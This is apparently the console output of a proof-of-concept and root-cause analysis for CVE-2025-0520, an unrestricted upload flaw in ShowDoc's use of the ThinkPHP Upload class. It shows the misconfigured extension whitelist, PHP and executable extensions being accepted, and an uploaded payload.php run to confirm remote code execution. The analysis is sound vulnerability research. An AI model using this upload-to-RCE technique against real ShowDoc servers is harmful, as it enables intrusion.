========================================= CVE-2025-0520 ThinkPHP Upload Library API Root Cause Analysis ========================================= [1] Loading ThinkPHP Upload class from v2.8.2... Source: /tmp/showdoc_lib/server/ThinkPHP/Library/Think/Upload.class.php [2] Created ThinkPHP Upload instance [3] Setting properties using ShowDoc's vulnerable code pattern: $upload->maxSize = 3145728; $upload->allowExts = array('jpg', 'gif', 'png', 'jpeg'); ^^^ DEPRECATED ThinkPHP 3.1 SYNTAX! $upload->rootPath = './Public/Uploads/'; [4] Analyzing actual configuration via reflection: config['exts'] = EMPTY ARRAY => VULNERABILITY: No extension whitelist active! [5] Testing extension validation directly: Extension 'jpg': ALLOWED (vulnerable) Extension 'gif': ALLOWED (vulnerable) Extension 'php': ALLOWED (vulnerable) Extension 'php5': ALLOWED (vulnerable) Extension 'phtml': ALLOWED (vulnerable) Extension 'exe': ALLOWED (vulnerable) [6] Root Cause Analysis: The __set magic method in ThinkPHP Upload class: public function __set($name,$value){ if(isset($this->config[$name])) { $this->config[$name] = $value; } } - ThinkPHP 3.2+ config array has 'exts' key - ThinkPHP 3.1 used 'allowExts' (not in config) - Setting allowExts is silently ignored (not in config array) - config['exts'] remains empty, allowing ANY extension [7] Create and upload a malicious PHP file to confirm: Created payload: /tmp/showdoc_test/uploads/payload.php Content: Simulating library saving file as: 69de3836727bc.php Full path: /tmp/showdoc_test/uploads/2026-04-14/69de3836727bc.php File created successfully [8] Executing uploaded PHP file: Expected: RCE_CONFIRMED_1e08f13e8e4695e97fef6d9de3665be4 Actual: RCE_CONFIRMED_1e08f13e8e4695e97fef6d9de3665be4 ========================================= VULNERABILITY CONFIRMED! ========================================= Summary: 1. ShowDoc uses deprecated $upload->allowExts (ThinkPHP 3.1 syntax) 2. ThinkPHP 3.2+ ignores allowExts (not in config array) 3. config['exts'] remains empty -> no extension restrictions 4. PHP files can be uploaded via upload() library API 5. Remote code execution confirmed via uploaded PHP file